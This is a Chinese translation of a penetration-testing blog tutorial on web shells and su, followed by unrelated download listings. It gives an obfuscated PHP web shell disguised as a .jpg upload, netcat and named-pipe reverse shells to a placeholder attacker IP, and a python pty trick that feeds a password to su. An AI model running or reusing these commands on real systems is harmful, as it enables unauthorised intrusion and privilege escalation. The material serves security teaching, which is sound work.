`

[译]web shell中使用su

 
阅读更多
原文地址:http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells
本文的重点是讲述如何使用su
场景:web服务器中存在一个上传漏洞,site确保上传文件以.jpg或.png结尾。这时,上传一个shell.php.jpg,包含如下代码:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

该这个shell绕过了扩展名检查,但是由于它在文件名中包含.php,许多系统把它当成脚本执行。同时,这个shell不包含"/bin/sh","shell_exec"或system字符串。
$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

现在我们拥有了一个webshell。
接下来是建立一个连会攻击者的netcat session
http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

如果目标机的netcat不支持-e选项,参考GAPING_SECURITY_HOLE选项,可以使用下面的方法(参考:http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem):
http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

一旦我们建立了shell,接下来使用su/sudo来提权,因为他们使用一种特殊方法来交互(s使用sudo,参考http://ecstaticsec.tumblr.com/post/87205770569/sudo-tricks)
如果你不想有一个反向连接到你的server的connection,但是你该如何升级权限?因为sudo不可能出现在/etc/sudoers文件中。su有一个-c选项,允许我们指定命令。但是我们有一个问题,我们需要运行su以及提供一个密码。如果我莫使用echo来访su传递密码会怎样?
$ echo password | su -c whoami

必须是一个tty
可能会得到一个“must be run from a terminal”错误--su命令希望我们从终端运行。
我们可以使用python来伪造一个终端:
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"
分享到:
评论

相关推荐

    使用python执行shell脚本 并动态传参 及subprocess的使用详解

    最近工作需求中 有遇到这个情况 在web端获取配置文件内容 及 往shell 脚本中动态传入参数 执行shell脚本这个有多种方法 最后还是选择了subprocess这个python标准库 subprocess这个模块可以非常方便的启动一个子进程...

    外壳搜索「Shell Search」-crx插件

    s-Web的Shell替换使用多功能框就像命令行一样。 调用它时先写一个“ s”,然后是一个空格,然后使用其中一个命令直接在不同的网站中搜索。 就像yubnub一样,它在您的PC上本地运行并具有自动补全支持。 也很容易扩展...

    LINUX 24学时教程

    3.5 在OpenLinux操作系统中使用艾美加 (Iomega)公司的Zip驱动器 42 3.6 课时小结 43 3.7 专家答疑 43 3.8 练习题 43 第二部分 学习Linux操作系统的基本命令 第4学时 阅读与浏览命令 46 4.1 使用man命令获取帮助 46...

    Probe:Probe是一个Web GUI应用程序,适用于Hyperledger Fabric维护者,用户,研究人员,以查找针对特定链代码的最佳块配置逻辑

    Probe将使您可以设计Shell脚本来安排SUT和测试工具。 Probe将使您能够以客户的方式使用GUI调查性能矩阵。 您可以使用探针来... 为什么要探测 正如与讨论的那样,我们发现不同的块参数,网络,链码语言和链码逻辑...

    docker-handbook:使用Docker的Node JS Web应用

    使用以下Shell脚本在任何ubuntu机器上安装docker wget -nv -O - https://get.docker.com/ | sh 安装后将当前用户添加到Docker组 sudo groupadd docker sudo usermod -aG docker ${USER} su -s ${USER} 通过拉动...

    redhat linux教材20课程学习文档

    第三章 Shell命令使用 3.1 控制台相关命令 clear 命令 echo 命令 yes 命令 3.2 目录操作命令 cd 命令 pwd 命令 mkdir 命令 rmdir 命令 3.3 文件操作命令 ls 命令 touch 命令 cat 命令 more 和 less 命令...

    adb1.0.26包含fastboot.exe

    除了可以通过 USB 连接设备与电脑来使用 adb,也可以通过无线连接——虽然连接过程中也有需要使用 USB 的步骤,但是连接成功之后你的设备就可以在一定范围内摆脱 USB 连接线的限制啦! 操作步骤: 将 Android 设备...

    linux教程——很使用的那种

    由于linux中的别名机制,使用rm等价与使用rm -i,这样在删除文件或目录时会有提示,如果不想出现提示内容,需要加选项-f。写脚本的时候需要加上-f,因为批量删除文件或目录不需要每次都提示询问。 在unix中rm删除文件...

    kiosk-demo-app

    按ctrl + alt + t调用基于Web的“ crosh” shell提示符,输入shell即可访问bash shell会话 输入sudo su以获得root特权 输入mount -o remount rw /以获得根文件系统写访问权限 修改/etc/chrome_dev.conf并在文件末尾...

    php权威编程

     ——Zeev Su raski,PHP 5设计者之一、Zend引擎创始人之一 “本书英文版刚刚上市,就在国外快速流行起来。我记得此书出版不久,Andi就告诉我这本书的下载次数超过了百万。更多的书都是依据PHP 4来撰写的,真正意义...

    入门学习Linux常用必会60个命令实例详解doc/txt

    从图1中可以看到,笔者系统中可以使用的Shell有bash(缺省)、csh、sh、tcsh四种。 exit 1.作用 exit命令的作用是退出系统,它的使用权限是所有用户。 2.格式 exit 3.参数 exit命令没有参数,运行后退出系统...

    translator:英文到印地文翻译的Web API

    英文到印地文翻译的Web API 安装PostgreSQL以获得建议 sudo apt安装postgresql postgresql-contrib libpq-dev 为Centos 7安装PostgreSQL 百胜安装postgresql-devel postgresql postgresql-contrib 安装psycopg pip...

    sumologic-collector-docker:Docker的Sumo Logic收集器

    在Sumo中,收集者使用源来收集数据。 以下图像可用: Docker Collection-包含电池的图像使用Sumo的Docker Logs源和Docker Stats源运行收集器。 这使您可以收集容器日志,事件和统计信息,并将Sumo Web应用程序用于...

    DrupalDeveloper:Contiene los conocimientosbásicosque debe tener un dev para trabajar en desarrollo Web sobre drupal

    DRUPAL开发人员Este proyecto es unaguía足够,con su conocimientos para desarrollar潜在的aplicacines web sibre Drupal 8 y 9。 圭亚那原理: Va al grano,没有子午后关系。 Contiene comandos y trozos decó...

    Data-Science-Tools-for-AWS:在Amazon Web Services EC2上运行的64位Ubuntu Server 14.04 LTS(HVM)上安装数据科学工具的脚本

    在Amazon Web Services EC2上运行的64位Ubuntu Server 14.04 LTS(HVM)上安装数据科学工具的脚本。 这些脚本在AWS EC2 Ubuntu实例上安装R,RStudio,Shiny服务器,Python和IPython笔记本。 先跑 ./...

    打造安全性高的服务器

    上次 由于时间不足的关系 忘记 和大家说了,服务器上最好不要 安装 太多的 第三方 程序 这样会对服务器造成一定的 威胁,列如最典型的SU,只类的软件最好不要安装, 还有 一个朋友说 %100 的安全,我当时 也对他说 也...

    docker-postgresplus:带有Kibana仪表板的PostgreSQL在Docker上运行

    在Docker上运行的PostgreSQL游乐场,其日志在Kibana仪表板和Pgadmin Web界面中提供。 用法 安装Docker。 将此仓库克隆到本地计算机。 创建网络,以便能够在同一网络上运行更多的postgres实例。 运行docker-compose ...

    Linux部署服务器常用命令.doc

    tar cvf target /usr/aa.tar 压缩 tar zcvf target /usr/aa.gz 压缩 cat /etc/profile Java JDK环境变量 ps -ef " grep xxx 进程 ps -ef 进程 ps ax " grep httpd -c ps ax " grep mysqld -c shell shell ...

    Linux管理员指南

    提高单个服务器的安全性 145 11.1 TCP/IP与网络安全 145 11.2 追踪...使用MRTG监控带宽 151 11.3.3 COPS 151 11.3.4 TripWire 151 11.3.5 SATAN 151 11.4 Web求助站点和邮件表 152 11.4.1 CERT ...

    《Linux从入门到精通》

    1.2.1.1 提供基于Web的Linuxconf访问 1.2.2 改进了急救盘 1.2.3 Initscript档案 1.3 其他新特性 1.3.1 视窗管理性能的提高 1.3.2 新的编译技术egcs 1.3.3 替代xv的新工具 2 开始之前 2.1 取得说明书 2.2 ...

Global site tag (gtag.js) - Google Analytics